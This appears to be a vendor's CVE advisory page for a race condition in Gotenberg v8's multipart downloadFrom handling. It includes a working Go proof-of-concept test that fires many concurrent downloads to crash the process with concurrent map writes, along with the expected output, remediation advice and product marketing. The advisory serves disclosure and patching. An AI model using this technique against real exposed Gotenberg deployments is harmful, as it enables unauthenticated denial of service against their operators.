CVE-2026-45742

CVE-2026-45742 is a high-severity race condition vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions >= 8.10.0, <= 8.32.0. It is fixed in 8.33.0.

Check whether CVE-2026-45742 affects your applications

Kodem tells you whether this CVE is present, reachable, and actually executing in your application, so you know if it matters.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence. Only the CVEs that actually run in production.

Summary

Gotenberg has a Race Condition via Multipart downloadFrom Handling

Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.

A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.

In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.

Details

The issue is in pkg/modules/api/context.go.

newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():

  • pkg/modules/api/context.go:221

Each goroutine downloads a file and then writes to request context maps shared by all goroutines:

  • ctx.files[filename] = path
  • ctx.diskToOriginal[path] = filename
  • ctx.filesByField[...] = append(...)

Affected lines in current main:

  • pkg/modules/api/context.go:395
  • pkg/modules/api/context.go:396
  • pkg/modules/api/context.go:401

Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.

The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.

PoC

The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.

Run from the repository root:

cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF'
//go:build security_poc

package api

import (
    "bytes"
    "encoding/json"
    "fmt"
    "log/slog"
    "mime/multipart"
    "net/http"
    "net/http/httptest"
    "sync"
    "testing"
    "time"

    "github.com/labstack/echo/v4"

    "github.com/gotenberg/gotenberg/v8/pkg/gotenberg"
)

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) {
    const downloads = 64

    var ready sync.WaitGroup
    ready.Add(downloads)
    release := make(chan struct{})
    var releaseOnce sync.Once

    server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        ready.Done()
        go func() {
            ready.Wait()
            releaseOnce.Do(func() {
                close(release)
            })
        }()
        <-release

        filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i"))
        w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
        _, _ = w.Write([]byte("downloaded"))
    }))
    defer server.Close()

    dls := make([]downloadFrom, downloads)
    for i := range dls {
        dls[i] = downloadFrom{
            Url:   fmt.Sprintf("%s/file?i=%d", server.URL, i),
            Field: "embedded",
        }
    }

    payload, err := json.Marshal(dls)
    if err != nil {
        t.Fatalf("marshal downloadFrom payload: %v", err)
    }

    body := new(bytes.Buffer)
    writer := multipart.NewWriter(body)
    err = writer.WriteField("downloadFrom", string(payload))
    if err != nil {
        t.Fatalf("write downloadFrom field: %v", err)
    }
    err = writer.Close()
    if err != nil {
        t.Fatalf("close multipart writer: %v", err)
    }

    req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body)
    req.Header.Set("Content-Type", writer.FormDataContentType())

    echoCtx := echo.New().NewContext(req, httptest.NewRecorder())
    logger := slog.New(slog.DiscardHandler)
    fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))
    downloadFromCfg := downloadFromConfig{
        maxRetry: 0,
    }

    ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg)
    if err != nil {
        t.Fatalf("newContext returned error: %v", err)
    }
    defer cancel()

    if got := len(ctx.files); got != downloads {
        t.Fatalf("downloaded files = %d, want %d", got, downloads)
    }
}
EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1
rm pkg/modules/api/downloadfrom_race_poc_test.go

Expected result with the race detector:

WARNING: DATA RACE
Write at ...
  github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()
    .../pkg/modules/api/context.go:395

WARNING: DATA RACE
  .../pkg/modules/api/context.go:396

WARNING: DATA RACE
  .../pkg/modules/api/context.go:401

Running the same PoC without -race also demonstrates practical process termination:

GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20

Observed result:

fatal error: concurrent map writes
github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()
  .../pkg/modules/api/context.go:395
FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api

Impact

This is a remote denial-of-service vulnerability.

Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.

The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.

CVE-2026-45742 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.33.0); upgrading removes the vulnerable code path.

Affected versions

github.com/gotenberg/gotenberg/v8 (>= 8.10.0, <= 8.32.0)

Security releases

github.com/gotenberg/gotenberg/v8 → 8.33.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/gotenberg/gotenberg/v8 to 8.33.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-45742? CVE-2026-45742 is a high-severity race condition vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions >= 8.10.0, <= 8.32.0. It is fixed in 8.33.0. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
  2. How severe is CVE-2026-45742? CVE-2026-45742 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-45742? github.com/gotenberg/gotenberg/v8 (go) versions >= 8.10.0, <= 8.32.0 is affected.
  4. Is there a fix for CVE-2026-45742? Yes. CVE-2026-45742 is fixed in 8.33.0. Upgrade to this version or later.
  5. Is CVE-2026-45742 exploitable, and should I be worried? Whether CVE-2026-45742 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-45742 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-45742? Upgrade github.com/gotenberg/gotenberg/v8 to 8.33.0 or later.

Other vulnerabilities in github.com/gotenberg/gotenberg/v8

Stop the waste.
Protect your environment with Kodem.